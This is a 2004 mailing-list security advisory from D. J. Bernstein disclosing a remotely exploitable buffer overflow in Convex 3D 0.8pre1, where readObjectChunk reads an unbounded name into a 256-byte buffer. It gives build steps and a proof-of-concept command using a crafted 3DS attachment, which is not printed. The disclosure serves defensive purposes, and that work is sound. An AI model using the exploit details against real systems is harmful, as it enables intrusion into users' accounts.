From djb@cr.yp.to Wed Dec 15 14:20:33 2004 Date: 15 Dec 2004 08:14:16 -0000 From: D. J. Bernstein To: securesoftware@list.cr.yp.to, alexcrow@users.sourceforge.net Subject: [remote] [control] Convex 3D 0.8pre1 readObjectChunk overflows objectname buffer Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has discovered a remotely exploitable security hole in Convex 3D. I'm publishing this notice, but all the discovery credits should be assigned to Berkman. You are at risk if you take a 3DS file from an email message (or a web page or any other source that could be controlled by an attacker) and view it or convert it to another format using Convex 3D. (The Convex 3D documentation does not tell users to avoid taking input from the network.) Whoever provides the 3DS file then has complete control over your account: he can read and modify your files, watch the programs you're running, etc. Proof of concept: On an x86 computer running FreeBSD 4.10, type wget http://aleron.dl.sourceforge.net/sourceforge/convex3d/convex3d-0.8pre1.tar.bz2 bunzip2 < convex3d-0.8pre1.tar.bz2 | tar -xf - cd convex3d-0.8pre1 env CXXFLAGS='-include /usr/include/g++/functional' ./configure \ --with-opengl=no --with-x=no --with-gtkgui=no gmake to download and compile the Convex 3D program, version 0.8pre1 (current). Then save the file 7.3ds attached to this message, and type convex-tool/convex-tool -i 7.3ds -o 3.obj with the unauthorized result that a file named x is removed from the current directory. (I tested this with a 1500-byte environment, as reported by printenv | wc -c; this particular file 7.3ds is fairly fragile, allowing only a 64-byte range of environment sizes.) Here's the bug: In 3dsimp.cpp, readObjectChunk() calls readName() to read any number of bytes into a 256-byte objectname buffer. ---D. J. Bernstein, Associate Professor, Department of Mathematics, Statistics, and Computer Science, University of Illinois at Chicago [ Part 2, Text/PLAIN (charset: unknown-8bit) 5 lines. ] [ Unable to print this part. ]